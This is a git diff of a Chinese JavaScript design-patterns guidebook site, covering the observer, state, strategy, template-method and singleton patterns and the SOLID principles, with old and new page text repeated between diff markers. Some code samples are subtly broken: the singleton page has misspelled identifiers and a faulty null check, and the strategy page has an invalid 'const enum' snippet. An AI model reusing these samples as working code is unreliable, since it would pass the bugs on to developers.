                                          应用时机:一个对象(目标对象)的状态发生改变,所有的依赖对象(观察者对象)都将得到通知,进行广播通知

                                          如何解决:使用面向对象技术,可以将这种依赖关系弱化

                                          类比实例

                                          • 拍卖的时候,拍卖师观察最高标价,然后通知给其他竞价者竞价。
                                          • 面试的时候,结束之后每个面试官都会对我说:“请留下你的联系方式, 有消息我们会通知你”。 在这里“我”是订阅者, 面试官是发布者。所以我不用每天或者每小时都去询问面试结果, 通讯的主动权掌握在了面试官手上。而我只需要提供一个联系方式。

                                          优点

                                          • 观察者和被观察者是 抽象耦合
                                          • 建立一套触发机制

                                          缺点

                                          • 如果一个被观察者对象有很多的直接和间接的观察者的话,将所有的观察者都通知到会花费很多时间
                                          • 如果在观察者和观察目标之间有循环依赖的话,观察目标会触发它们之间进行循环调用,可能导致系统崩溃
                                          • 观察者模式没有相应的机制让观察者知道所观察的目标对象是怎么发生变化的,而仅仅只是知道观察目标发生了变化

                                          结构

                                          观察者模式包含如下角色:

                                          • Subject(目标):知道它的通知对象,事件发生后会通知所有它知道的对象,提供添加删除观察者的接口。
                                          • ConcreteSubject(具体目标):被观察者具体的实例,存储观察者感兴趣的状态。
                                          • Observer(观察者):提供通知后的更新事件。
                                          • ConcreteObserver(具体观察者):被观察者具体的实例,存储观察者感兴趣的状态。

                                          代码实现

                                          // 被观察者
                                          class Subject {
                                          constructor(name) {
                                          // 观察者队列
                                          this.observers = [];
                                          }
                                          // 注册观察者到被观察者上
                                          attach(observer) {
                                          this.observers.push(observer);
                                          }
                                          // 执行所有观察者的 update 方法
                                          notify(nextState) {
                                          this.observers.forEach((o) => o.update(nextState));
                                          }
                                          }
                                          // 观察者
                                          class Observer {
                                          constructor(name) {
                                          this.name = name;
                                          }
                                          update(nextState) {
                                          console.log('通知:被观察已更新');
                                          }
                                          }
                                          // 创建被观察者
                                          const subject = new Subject();
                                          // 收到广播时要执行的方法
                                          const update = () => console.log('被观察者发出通知');
                                          // 观察者 1
                                          const obs1 = new Observer(update);
                                          // 观察者 2
                                          const obs2 = new Observer(update);
                                          // 观察者 1 订阅 subject 的通知
                                          subject.attach(obs1);
                                          // 观察者 2 订阅 subject 的通知
                                          subject.attach(obs2);
                                          @@ -41,12 +44,12 @@
                                          if (!this.listeners[type] || this.listeners[type].length === 0) return false;
                                          for (let i = 0; i < this.listeners[type].length; i++) {
                                          if (this.listeners[type][i] === cb) {
                                          this.listeners[type].splice(i, 1);
                                          }
                                          }
                                          }
                                          emit(type, data) {
                                          if (typeof type !== 'string') return false;
                                          -
                                          this.listeners[type] &&
                                          this.listeners[type]
                                          .sort((a, b) => a.priority - b.priority)
                                          .forEach((item) => item.cb.call(null, data));
                                          }
                                          }

                                          参考资料:

                                          +
                                          this.listeners[type] &&
                                          this.listeners[type]
                                          .sort((a, b) => a.priority - b.priority)
                                          .forEach((item) => item.cb.call(null, data));
                                          }
                                          }

                                          参考资料:

                                          - + diff --git a/design-patterns/behavioral/state/index.html b/design-patterns/behavioral/state/index.html index 964b5a865..6c49f8bda 100644 --- a/design-patterns/behavioral/state/index.html +++ b/design-patterns/behavioral/state/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 状态模式 - JavaScript Guidebook -

                                          状态模式

                                          状态模式(State Pattern):允许一个对象在其内部状态改变时改变它的行为,对象看起来似乎修改了它的类。其别名为状态对象(Objects for States),状态模式是一种对象行为型模式。

                                          概述

                                          • 解决问题:对象的行为依赖于它的状态(属性),并且可以根据它的状态改变而改变它的相关行为
                                          • 何时使用:代码中包含大量与对象状态有关的条件语句
                                          • 如何解决:将各种具体的状态类抽象出来
                                          • 核心代码:通常命令模式的接口中只有一个方法。而状态模式的接口中有一个或者多个方法。而且,状态模式的实现类的方法,一般返回值,或者是改变实例变量的值。也就是说,状态模式一般和对象的状态有关。实现类的方法有不同的功能,覆盖接口中的方法。状态模式和命令模式一样,也可以用于消除 if...else 等条件选择语句。
                                          • 应用实例
                                            • 打篮球的时候运动员可以有正常状态、不正常状态和超常状态。
                                          • 优点
                                            • 封装了转换规则
                                            • 枚举可能的状态,在枚举状态之前需要确定状态种类
                                            • 将所有与某个状态有关的行为放到一个类中,并且可以方便地增加新的状态,只需要改变对象状态即可改变对象的行为
                                            • 允许状态转换逻辑与状态对象合成一体,而不是某一个巨大的条件语句块
                                            • 可以让多个环境对象共享一个状态对象,从而减少系统中对象的个数
                                          • 缺点
                                            • 状态模式的使用必然会增加系统类和对象的个数。
                                            • 状态模式的结构与实现都较为复杂,如果使用不当将导致程序结构和代码的混乱。
                                            • 状态模式对“开闭原则”的支持并不太好,对于可以切换状态的状态模式,增加新的状态类需要修改那些负责状态转换的源代码,否则无法切换到新增状态,而且修改某个状态类的行为也需修改对应类的源代码。
                                          • 使用场景
                                            • 行为随状态改变而改变的场景
                                            • 条件、分支语句的代替者

                                          结构

                                          状态模式包含如下角色:

                                          • Context(环境类):定义客户端所感兴趣的接口,并且保留一个具体状态类的实例。这个具体状态类的实例给出此环境对象的现有状态。
                                          • State(抽象状态类):定义一个接口,用以封装环境(Context)对象的一个特定的状态所对应的行为。
                                          • ConcreteState(具体状态类):每一个具体状态类都实现了环境(Context)的一个状态所对应的行为。
                                          +

                                          状态模式

                                          状态模式(State Pattern):允许一个对象在其内部状态改变时改变它的行为,对象看起来似乎修改了它的类。其别名为状态对象(Objects for States),状态模式是一种对象行为型模式。

                                          概述

                                          • 解决问题:对象的行为依赖于它的状态(属性),并且可以根据它的状态改变而改变它的相关行为
                                          • 何时使用:代码中包含大量与对象状态有关的条件语句
                                          • 如何解决:将各种具体的状态类抽象出来
                                          • 核心代码:通常命令模式的接口中只有一个方法。而状态模式的接口中有一个或者多个方法。而且,状态模式的实现类的方法,一般返回值,或者是改变实例变量的值。也就是说,状态模式一般和对象的状态有关。实现类的方法有不同的功能,覆盖接口中的方法。状态模式和命令模式一样,也可以用于消除 if...else 等条件选择语句。
                                          • 应用实例
                                            • 打篮球的时候运动员可以有正常状态、不正常状态和超常状态。
                                          • 优点
                                            • 封装了转换规则
                                            • 枚举可能的状态,在枚举状态之前需要确定状态种类
                                            • 将所有与某个状态有关的行为放到一个类中,并且可以方便地增加新的状态,只需要改变对象状态即可改变对象的行为
                                            • 允许状态转换逻辑与状态对象合成一体,而不是某一个巨大的条件语句块
                                            • 可以让多个环境对象共享一个状态对象,从而减少系统中对象的个数
                                          • 缺点
                                            • 状态模式的使用必然会增加系统类和对象的个数。
                                            • 状态模式的结构与实现都较为复杂,如果使用不当将导致程序结构和代码的混乱。
                                            • 状态模式对“开闭原则”的支持并不太好,对于可以切换状态的状态模式,增加新的状态类需要修改那些负责状态转换的源代码,否则无法切换到新增状态,而且修改某个状态类的行为也需修改对应类的源代码。
                                          • 使用场景
                                            • 行为随状态改变而改变的场景
                                            • 条件、分支语句的代替者

                                          结构

                                          状态模式包含如下角色:

                                          • Context(环境类):定义客户端所感兴趣的接口,并且保留一个具体状态类的实例。这个具体状态类的实例给出此环境对象的现有状态。
                                          • State(抽象状态类):定义一个接口,用以封装环境(Context)对象的一个特定的状态所对应的行为。
                                          • ConcreteState(具体状态类):每一个具体状态类都实现了环境(Context)的一个状态所对应的行为。
                                          - + diff --git a/design-patterns/behavioral/strategy/index.html b/design-patterns/behavioral/strategy/index.html index 2eb2623b5..d734169f3 100644 --- a/design-patterns/behavioral/strategy/index.html +++ b/design-patterns/behavioral/strategy/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 策略模式 - JavaScript Guidebook -

                                          策略模式

                                          策略模式(Strategy Pattern):定义一系列算法,将每一个算法封装起来,并让它们可以相互替换。策略模式让算法独立于使用它的客户而变化,也称为政策模式(Policy)。

                                          概述

                                          • 解决问题:在有多种算法相似的情况下,使用 if...else 所带来的复杂和难以维护,缺乏弹性(扩展性差),复用性差
                                          • 何时使用:一个系统有许多许多类,而区分它们的只是他们直接的行为
                                          • 如何解决:将这些算法封装成一个一个的类,任意地替换
                                          • 核心代码:实现同一个接口
                                          • 应用实例
                                            • 诸葛亮的锦囊妙计,每一个锦囊就是一个策略
                                          • 优点
                                            • 算法可以自由切换
                                            • 避免使用多重条件判断
                                            • 扩展性良好
                                          • 缺点
                                            • 策略类会增多
                                            • 所有策略类都需要对外暴露
                                          • 使用场景
                                            • 如果在一个系统里面有许多类,它们之间的区别仅在于它们的行为,那么使用策略模式可以动态地让一个对象在许多行为中选择一种行为。
                                            • 一个系统需要动态地在几种算法中选择一种。
                                            • 如果一个对象有很多的行为,如果不用恰当的模式,这些行为就只好使用多重的条件选择语句来实现。

                                          结构

                                          策略模式包含如下角色:

                                          • Context(环境类):持有一个 Strategy 类的引用,用一个 ConcreteStrategy 对象来配置。
                                          • Strategy(抽象策略类):定义所有支持的算法的公共接口。通常是以一个接口或抽象来实现,Context 使用这个接口来调用其 ConcreteStrategy 定义的算法。
                                          • ConcreteStrategy(具体策略类):以 Strategy 接口实现某具体算法。

                                          策略模式的使用,可以避免过多的 if-else 判断,也可以替代简单逻辑的 switch

                                          const formatDemandItemType = value => {
                                          switch (value) {
                                          case 0:
                                          return '初级';
                                          case 1:
                                          return '中级';
                                          case 2:
                                          return '高级';
                                          }
                                          };
                                          -
                                          const formateDemandItemType = value => {
                                          const enum = {
                                          0: '初级',
                                          1: '中级',
                                          2: '高级',
                                          };
                                          };
                                          +

                                          策略模式

                                          策略模式(Strategy Pattern):定义一系列算法,将每一个算法封装起来,并让它们可以相互替换。策略模式让算法独立于使用它的客户而变化,也称为政策模式(Policy)。

                                          概述

                                          • 解决问题:在有多种算法相似的情况下,使用 if...else 所带来的复杂和难以维护,缺乏弹性(扩展性差),复用性差
                                          • 何时使用:一个系统有许多许多类,而区分它们的只是他们直接的行为
                                          • 如何解决:将这些算法封装成一个一个的类,任意地替换
                                          • 核心代码:实现同一个接口
                                          • 应用实例
                                            • 诸葛亮的锦囊妙计,每一个锦囊就是一个策略
                                          • 优点
                                            • 算法可以自由切换
                                            • 避免使用多重条件判断
                                            • 扩展性良好
                                          • 缺点
                                            • 策略类会增多
                                            • 所有策略类都需要对外暴露
                                          • 使用场景
                                            • 如果在一个系统里面有许多类,它们之间的区别仅在于它们的行为,那么使用策略模式可以动态地让一个对象在许多行为中选择一种行为。
                                            • 一个系统需要动态地在几种算法中选择一种。
                                            • 如果一个对象有很多的行为,如果不用恰当的模式,这些行为就只好使用多重的条件选择语句来实现。

                                          结构

                                          策略模式包含如下角色:

                                          • Context(环境类):持有一个 Strategy 类的引用,用一个 ConcreteStrategy 对象来配置。
                                          • Strategy(抽象策略类):定义所有支持的算法的公共接口。通常是以一个接口或抽象来实现,Context 使用这个接口来调用其 ConcreteStrategy 定义的算法。
                                          • ConcreteStrategy(具体策略类):以 Strategy 接口实现某具体算法。

                                          策略模式的使用,可以避免过多的 if-else 判断,也可以替代简单逻辑的 switch

                                          const formatDemandItemType = value => {
                                          switch (value) {
                                          case 0:
                                          return '初级';
                                          case 1:
                                          return '中级';
                                          case 2:
                                          return '高级';
                                          }
                                          };
                                          +
                                          const formateDemandItemType = value => {
                                          const enum = {
                                          0: '初级',
                                          1: '中级',
                                          2: '高级',
                                          };
                                          };
                                          - + diff --git a/design-patterns/behavioral/template-method/index.html b/design-patterns/behavioral/template-method/index.html index 36b2523d7..bfdc193ae 100644 --- a/design-patterns/behavioral/template-method/index.html +++ b/design-patterns/behavioral/template-method/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 模版方法模式 - JavaScript Guidebook -

                                          模版方法模式

                                          模板方法(TemplateMethod)定义了一个操作中的算法的骨架,而将一些步骤延迟到子类中。模板方法使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。

                                          概述

                                          • 解决问题:一些方法通用,却在每一个子类都重新写了这一方法
                                          • 何时使用:有一些通用的方法
                                          • 如何解决:将这些通用算法抽象出来
                                          • 核心代码:在抽象类实现,其他步骤在子类实现
                                          • 应用实例
                                            • 在造房子的时候,地基、走线、水管都一样,只有在建筑的后期才有加壁橱加栅栏等差异
                                            • 西游记里面菩萨定好的 81 难,这就是一个顶层的逻辑骨架
                                            • Spring 中对 Hibernate 的支持,将一些已经定好的方法封装起来,比如开启事务、获取 Session、关闭 Session 等,程序员不重复写那些已经规范好的代码,直接丢一个实体就可以保存
                                          • 优点
                                            • 封装不变部分,扩展可变部分
                                            • 提取公共代码,便于维护
                                            • 行为由父类控制,子类实现
                                          • 缺点
                                            • 每一个不同的实现都需要一个子类来实现,导致类的个数增加,使得系统更加庞大
                                          • 使用场景
                                            • 有多个子类共有的方法,且逻辑相同
                                            • 重要的、复杂的方法,可以考虑作为模板方法

                                          结构

                                          模板模式包含如下角色:

                                          • 抽象父类:封装子类的算法框架,包括实现一些公用方法以及封装在子类中所有方法的执行顺序

                                          • 实现子类:通过集成这个抽象类,也继承了整个算法,并且可以选择重写父类的方法 假如我们有许多平行的类,各个类之间有许多相同的行为,也有部分不同的行为。如果各位都定义自己所有的行为,那么会出现很多重复的方法。此时可以将相同的行为搬移到另外一个单一的地方,模板方法模式就是为了解决这个问题。在模板方法模式中,子类中相同的行为被移动到了父类中,而将不同的部分留待子类来实现。

                                          +

                                          模版方法模式

                                          模板方法(TemplateMethod)定义了一个操作中的算法的骨架,而将一些步骤延迟到子类中。模板方法使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。

                                          概述

                                          • 解决问题:一些方法通用,却在每一个子类都重新写了这一方法
                                          • 何时使用:有一些通用的方法
                                          • 如何解决:将这些通用算法抽象出来
                                          • 核心代码:在抽象类实现,其他步骤在子类实现
                                          • 应用实例
                                            • 在造房子的时候,地基、走线、水管都一样,只有在建筑的后期才有加壁橱加栅栏等差异
                                            • 西游记里面菩萨定好的 81 难,这就是一个顶层的逻辑骨架
                                            • Spring 中对 Hibernate 的支持,将一些已经定好的方法封装起来,比如开启事务、获取 Session、关闭 Session 等,程序员不重复写那些已经规范好的代码,直接丢一个实体就可以保存
                                          • 优点
                                            • 封装不变部分,扩展可变部分
                                            • 提取公共代码,便于维护
                                            • 行为由父类控制,子类实现
                                          • 缺点
                                            • 每一个不同的实现都需要一个子类来实现,导致类的个数增加,使得系统更加庞大
                                          • 使用场景
                                            • 有多个子类共有的方法,且逻辑相同
                                            • 重要的、复杂的方法,可以考虑作为模板方法

                                          结构

                                          模板模式包含如下角色:

                                          • 抽象父类:封装子类的算法框架,包括实现一些公用方法以及封装在子类中所有方法的执行顺序

                                          • 实现子类:通过集成这个抽象类,也继承了整个算法,并且可以选择重写父类的方法 假如我们有许多平行的类,各个类之间有许多相同的行为,也有部分不同的行为。如果各位都定义自己所有的行为,那么会出现很多重复的方法。此时可以将相同的行为搬移到另外一个单一的地方,模板方法模式就是为了解决这个问题。在模板方法模式中,子类中相同的行为被移动到了父类中,而将不同的部分留待子类来实现。

                                          - + diff --git a/design-patterns/behavioral/visitor/index.html b/design-patterns/behavioral/visitor/index.html index 25acdbfed..b488945f6 100644 --- a/design-patterns/behavioral/visitor/index.html +++ b/design-patterns/behavioral/visitor/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 访问者模式 - JavaScript Guidebook -
                                          +
                                          - + diff --git a/design-patterns/creational/abstract-factory/index.html b/design-patterns/creational/abstract-factory/index.html new file mode 100644 index 000000000..317cfef4c --- /dev/null +++ b/design-patterns/creational/abstract-factory/index.html @@ -0,0 +1,42 @@ + + + + + + + + + + + 抽象工厂模式 - JavaScript Guidebook + + +
                                          + + + + + diff --git a/design-patterns/creational/builder/index.html b/design-patterns/creational/builder/index.html new file mode 100644 index 000000000..aab52dddc --- /dev/null +++ b/design-patterns/creational/builder/index.html @@ -0,0 +1,42 @@ + + + + + + + + + + + 创造者模式 - JavaScript Guidebook + + +
                                          + + + + + diff --git a/design-patterns/creational/factory-method/index.html b/design-patterns/creational/factory-method/index.html new file mode 100644 index 000000000..9861bd1e5 --- /dev/null +++ b/design-patterns/creational/factory-method/index.html @@ -0,0 +1,42 @@ + + + + + + + + + + + 工厂方法模式 - JavaScript Guidebook + + +
                                          + + + + + diff --git a/design-patterns/creational/index.html b/design-patterns/creational/index.html index 8909f605e..39f21d39f 100644 --- a/design-patterns/creational/index.html +++ b/design-patterns/creational/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -
                                          +
                                          - + diff --git a/design-patterns/creational/prototype/index.html b/design-patterns/creational/prototype/index.html new file mode 100644 index 000000000..774eb3527 --- /dev/null +++ b/design-patterns/creational/prototype/index.html @@ -0,0 +1,42 @@ + + + + + + + + + + + 原型模式 - JavaScript Guidebook + + +
                                          + + + + + diff --git a/design-patterns/creational/singleton/index.html b/design-patterns/creational/singleton/index.html index 2da231e06..b0628f121 100644 --- a/design-patterns/creational/singleton/index.html +++ b/design-patterns/creational/singleton/index.html @@ -7,38 +7,51 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 单例模式 - JavaScript Guidebook -

                                          单例模式

                                          单例模式(Singleton) 指保证一个类仅有一个实例,并提供一个访问它的全局访问点。

                                          功能

                                          • 单例模式能保证全局的唯一性,可以减少命名变量
                                          • 单例模式在一定情况下可以节约内存,减少过多的类生成需要的内存和运行时间
                                          • 把代码都放在一个类里面维护,实现了高内聚

                                          优点:

                                          1. 提供了对唯一实例的受控访问
                                          2. 避免对共享资源的多重占用
                                          3. 节约系统资源

                                          缺点:

                                          1. 扩展性差
                                          2. 职责过重

                                          代码示例

                                          全局作用域中的全局变量不是单例模式,全局变量会存在很大的隐患,随着项目的体积和功能日益增大,很容易出现命名冲突、作用域内变量污染和变量覆盖等问题,给开发人员带来很多苦恼。

                                          所以要减少全局变量使用,即使用全局变量也要将污染降到最低。

                                          命名空间

                                          命名空间可以减少全局变量的数量,可以使用对象字面量将这一类的变量作为它的属性进行访问。

                                          var Singleton = {
                                          fun1: function () {
                                          console.log('fun1');
                                          },
                                          fun2: function () {
                                          console.log('fun2');
                                          },
                                          };

                                          使用闭包封装私有变量

                                          使用 IIFI 立即执行函数表达式,让 JavaScript 编译器不在认为这是一个函数声明,而是 立即执行函数,将私有变量保存在它的闭包环境中,暴露可以访问私有变量的接口。类似创建一个块级作用域,和其他作用域的变量隔离。

                                          var Singleton = (function () {
                                          let instance;
                                          +

                                          单例模式

                                          单例模式(Singleton) 指保证一个类仅有一个实例,且该类能自行创建这个实例的一种模式。例如,Windows 中只能打开一个任务管理器,这样可以避免因打开多个任务管理器窗口而造成内存资源的浪费,或出现各个窗口显示内容的不一致等错误。

                                          在计算机系统中,还有 Windows 的回收站、操作系统中的文件系统、多线程中的线程池、显卡的驱动程序对象、打印机的后台处理服务、应用程序的日志对象、数据库的连接池、网站的计数器、Web 应用的配置对象、应用程序中的对话框、系统中的缓存等常常被设计成单例。

                                          单例模式在现实生活中的应用也非常广泛,例如公司 CEO、部门经理等都属于单例模型。

                                          特点

                                          单例模式有三个特点:

                                          1. 单例类只有一个实例对象
                                          2. 该单例对象必须由单例类自行创建
                                          3. 单例类对外提供一个访问该单例的全局访问点

                                          优点:

                                          1. 可避免对共享资源的多重占用
                                          2. 可保证内存中只有一个实例,减少内存的开销
                                          3. 可设置全局访问点,优化和共享资源的访问

                                          缺点:

                                          1. 扩展性差:单例模式一般没有接口,扩展困难。如果要扩展,则修改原来的代码,违背开闭原则
                                          2. 职责过重:单例模式的功能代码通常写在一个类中,如果功能设计不合理,则很容易违背单一职责原则

                                          模式结构

                                          代码示例

                                          全局作用域中的全局变量不是单例模式,全局变量会存在很大的隐患,随着项目的体积和功能日益增大,很容易出现命名冲突、作用域内变量污染和变量覆盖等问题,给开发人员带来很多苦恼。

                                          所以要减少全局变量使用,即使用全局变量也要将污染降到最低。

                                          单例模式通常有两种实现形式:懒汉式单例和饿汉式单例子。

                                          饿汉式单例

                                          该模式的特点是类一旦加载就创建一个单例,保证在调用 getInstance 方法之前单例已经存在了。

                                          class HungrySingleton {
                                          public name: string;
                                          public type: number;
                                          +
                                          private static instance: HungrySingleton = new HungrySingleton();
                                          +
                                          // 将 constructor 设为私有属性,防止 new 调用
                                          private constructor() {}
                                          +
                                          public static getInstance(): HungrySingleton {
                                          return HungrySingleton.instance;
                                          }
                                          }
                                          +
                                          const personA = HungrySingleton.getInstance();
                                          const personB = HugnrySingleton.getInstance();
                                          +
                                          console.log(personA === personB);
                                          // true

                                          懒汉模式

                                          1. 实例被需要时才去创建,如果单例已经创建,将无法创建新的单例,返回原先的单例。
                                          2. 如果某个单例使用的次数少,并且创建单例消耗的资源较多,那么就需要实现单例的按需创建
                                          class LazySingleton {
                                          public name: string;
                                          public age: number;
                                          private static instance: LazySingleton;
                                          +
                                          public construcotr(name: string, age: number) {
                                          this.name = name;
                                          this.age = age;
                                          }
                                          +
                                          public static getInstance(name: string, age: number): LazySingleton {
                                          if (LazySingleton.instance === null) {
                                          LazySingleton.instance = new LazySingleton(name, age);
                                          }
                                          +
                                          return this.instance;
                                          }
                                          }
                                          +
                                          const personA = LazySingleton.getInstance('Dave', 20);
                                          const personB = LazySingleton.getInstance('Mary', 24);
                                          +
                                          console.log(personA, personB);
                                          // LazySingleton{ name: "Dave", age: 20 } LazySingleton{ name: "Dave", age: 20 }

                                          命名空间

                                          命名空间可以减少全局变量的数量,可以使用对象字面量将这一类的变量作为它的属性进行访问。

                                          var Singleton = {
                                          fun1: function () {
                                          console.log('fun1');
                                          },
                                          fun2: function () {
                                          console.log('fun2');
                                          },
                                          };

                                          使用闭包封装私有变量

                                          使用 IIFI 立即执行函数表达式,让 JavaScript 编译器不在认为这是一个函数声明,而是 立即执行函数,将私有变量保存在它的闭包环境中,暴露可以访问私有变量的接口。类似创建一个块级作用域,和其他作用域的变量隔离。

                                          const Singleton = (function () {
                                          let instance;
                                          function createInstance() {
                                          var object = new Object('I am the instance');
                                          return object;
                                          }
                                          return {
                                          getInstance: function () {
                                          if (!instance) {
                                          instance = createInstance();
                                          }
                                          return instance;
                                          },
                                          };
                                          })();
                                          function run() {
                                          const instance1 = Singleton.getInstance();
                                          const instance2 = Singleton.getInstance();
                                          -
                                          alert('Same instance? ' + (instance1 === instance2));
                                          }
                                          -
                                          run();

                                          惰性单例

                                          +
                                          console.log('Same instance? ' + (instance1 === instance2));
                                          }
                                          +
                                          run();
                                          - + diff --git a/design-patterns/design-principles-and-ideas/index.html b/design-patterns/design-principles-and-ideas/index.html index 9d100857d..7e3f1ff05 100644 --- a/design-patterns/design-principles-and-ideas/index.html +++ b/design-patterns/design-principles-and-ideas/index.html @@ -7,33 +7,55 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 设计思想与原则 - JavaScript Guidebook -

                                          设计思想与原则

                                          SOLID 原则

                                          SOLID 原则并非单纯的 1 个原则,而是由 5 个设计原则组成的,它们分别是:单一职责原则、开闭原则、里式替换原则、接口隔离原则和依赖反转原则,依次对应 SOLID 中的 S、O、L、I、D 这 5 个英文字母。

                                          SRP 单一职责原则

                                          单一职责原则(Single Responsibility Principle)指一个类或者模块只负责完成一个职责(或者功能)。

                                          每一个类,应该要有明确的定义,不要设计大而全的类,要设计粒度小、功能单一的类。

                                          作用:避免将不相关的代码耦合在一起,提高了类或者模块的内聚性。

                                          OCP 开闭原则

                                          开闭原则(Open Closed Principle)指软件实体(模块、类、方法等)应该 对扩展开放、对修改关闭

                                          添加一个新的功能应该是,在已有代码基础上扩展代码(新增模块、类、方法等),而非修改已有代码(修改模块、类、方法等)。

                                          作用:增加了类的可扩展性。

                                          LSP 里式替换原则

                                          里式替换原则(Liskov Substitution Principle)指子类对象能够替换程序中父类对象出现的任何地方,并且保证原来程序的逻辑行为不变及正确性不被破坏。

                                          LSP 接口隔离原则

                                          接口隔离原则(Interface Segregation Principle)指接口的调用者不应该被强迫依赖它不需要的接口。

                                          这一原则和单一职责原则有点类似,只不过它更侧重于接口。

                                          • 如果把 接口 理解为一组接口集合,可以是某个类库的接口等。如果部分接口只被部分调用者使用,我们就需要将这部分接口隔离出来,单独给这部分调用者使用,而不强迫其他调用者也依赖这部分不会被用到的接口。
                                          • 如果把 接口 理解为单个 API 接口或函数,部分调用者只需要函数中的部分功能,那我们就需要把函数拆分成粒度更细的多个函数,让调用者只依赖它需要的那个细粒度函数。
                                          • 如果把 接口 理解为 OOP 中的接口,也可以理解为面向对象编程语言中的接口语法。那接口的设计要尽量单一,不要让接口的实现类和调用者,依赖不需要的接口函数。

                                          DIP 依赖反转原则

                                          依赖反转原则(Dependency Inversion Principle)指高层模块不要依赖低层模块。高层模块和低层模块应该通过抽象来互相依赖。除此之外,抽象不要依赖具体实现细节,具体实现细节依赖抽象。大白话就是面向接口编程,依赖于抽象而不依赖于具体。

                                          +

                                          设计思想与原则

                                          SOLID 是一个面向对象设计和编程中的五个基本原则的缩写,它们旨在帮助开发者设计更加灵活、可维护和可扩展的软件系统。这些原则由 Robert C. Martin 等人提出,它们包括以下五个原则:

                                          1. 单一职责原则(Single Responsibility Principle,SRP)
                                          2. 开放/封闭原则(Open/Closed Principle,OCP)
                                          3. 里氏替换原则(Liskov Substitution Principle,LSP)
                                          4. 接口隔离原则(Interface Segregation Principle,ISP)
                                          5. 依赖反转原则(Dependency Inversion Principle,DIP)

                                          这些原则共同促使开发者创建具有高内聚、低耦合、易扩展和易维护性的软件系统。遵循这些原则有助于构建更健壮的面向对象系统,提高代码质量和可维护性。

                                          单一职责原则

                                          单一职责原则(Single Responsibility Principle,SRP)要求一个类或者模块只负责完成一个职责(或者功能)。 假设我们有一个简单的厨师类,它负责烹饪和洗碗两个职责:

                                          class Chef {
                                          cookDish(dish) {
                                          // 烹饪菜品的具体实现
                                          }
                                          +
                                          washDishes() {
                                          // 洗碗的具体实现
                                          }
                                          }

                                          这个类违反了单一职责原则,因为它有两个职责:烹饪和洗碗。这样的设计可能导致以下问题:

                                          1. 如果厨师的烹饪逻辑变化,需要修改 cookDish 方法,这可能会影响洗碗的部分。
                                          2. 如果洗碗的逻辑变化,需要修改 washDishes 方法,这可能会影响烹饪的部分。

                                          按照单一职责原则,我们应该将这两个职责分开,分别由不同的类负责:

                                          class Chef {
                                          cookDish(dish) {
                                          // 烹饪菜品的具体实现
                                          }
                                          }
                                          +
                                          class Dishwasher {
                                          washDishes() {
                                          // 洗碗的具体实现
                                          }
                                          }

                                          这样,Chef 类专注于烹饪,而 Dishwasher 类专注于洗碗。每个类都有一个单一的职责,使得代码更清晰、易于理解,并且在未来的变更中更具弹性。

                                          开放封闭原则

                                          开关封闭原则(Open/Closed Principle,OCP)要求软件实体(例如类、模块、函数等)应该对扩展开放,对修改关闭。简而言之,一个模块在扩展新功能时不应该修改原有的代码,而是通过添加新的代码来实现扩展。

                                          考虑一个动物园的场景。我们有一些动物,每个动物都会发出叫声。初始设计如下:

                                          class Animal {
                                          constructor(name) {
                                          this.name = name;
                                          }
                                          +
                                          makeSound() {
                                          // 默认的叫声
                                          console.log("Some generic animal sound");
                                          }
                                          }
                                          +
                                          class Lion extends Animal {
                                          makeSound() {
                                          console.log("Roar!");
                                          }
                                          }
                                          +
                                          class Elephant extends Animal {
                                          makeSound() {
                                          console.log("Trumpet!");
                                          }
                                          }

                                          在这个设计中,Animal 类是一个基类,而 LionElephant 是它的子类。每个动物都有自己的叫声,通过重写 makeSound 方法来实现。

                                          现在,假设我们要添加一些新的动物,比如鹦鹉和狗,按照开放/封闭原则,我们应该扩展而不是修改现有的代码:

                                          class Parrot extends Animal {
                                          makeSound() {
                                          console.log("Squawk!");
                                          }
                                          }
                                          +
                                          class Dog extends Animal {
                                          makeSound() {
                                          console.log("Bark!");
                                          }
                                          }

                                          这样,我们通过扩展 Animal 类,而不是修改它,来添加新的功能(新的动物)。这符合开放/封闭原则,因为我们对于现有代码的修改是关闭的,我们只是通过扩展来引入新的功能。

                                          使用开放/封闭原则可以使代码更加稳定,降低对现有代码的影响,同时也更容易应对变化和扩展。

                                          里式替换原则

                                          里氏替换原则(Liskov Substitution Principle,LSP) 是 SOLID 原则之一,它强调子类型(派生类或子类)必须能够替换掉它们的基类型(基类或父类)并出现在基类能够工作的任何地方,而不破坏程序的正确性。

                                          通俗地说,如果一个类是基类的子类,那么在任何需要基类的地方,都可以使用这个子类而不产生错误。子类应该保持基类的行为,并且可以扩展或修改基类的行为,但不应该破坏基类原有的约定。

                                          假设我们有一个表示矩形的基类 Rectangle

                                          class Rectangle {
                                          constructor(width, height) {
                                          this.width = width;
                                          this.height = height;
                                          }
                                          +
                                          setWidth(width) {
                                          this.width = width;
                                          }
                                          +
                                          setHeight(height) {
                                          this.height = height;
                                          }
                                          +
                                          getArea() {
                                          return this.width * this.height;
                                          }
                                          }

                                          现在,我们创建了一个子类 Square 继承自 Rectangle,表示正方形。在正方形中,宽和高应该始终相等。

                                          class Square extends Rectangle {
                                          setWidth(width) {
                                          super.setWidth(width);
                                          super.setHeight(width);
                                          }
                                          +
                                          setHeight(height) {
                                          super.setWidth(height);
                                          super.setHeight(height);
                                          }
                                          }

                                          这里的问题是,Square 子类在修改宽度或高度时,通过覆写 setWidthsetHeight 方法,强制宽和高相等,这与基类的行为不一致。如果在需要 Rectangle 的地方使用了 Square,可能会导致程序逻辑错误。

                                          这违反了里氏替换原则,因为子类修改了父类的预期行为。为了符合里氏替换原则,可能需要重新设计类的继承结构,或者使用更精确的命名来表达实际意图。

                                          接口隔离原则

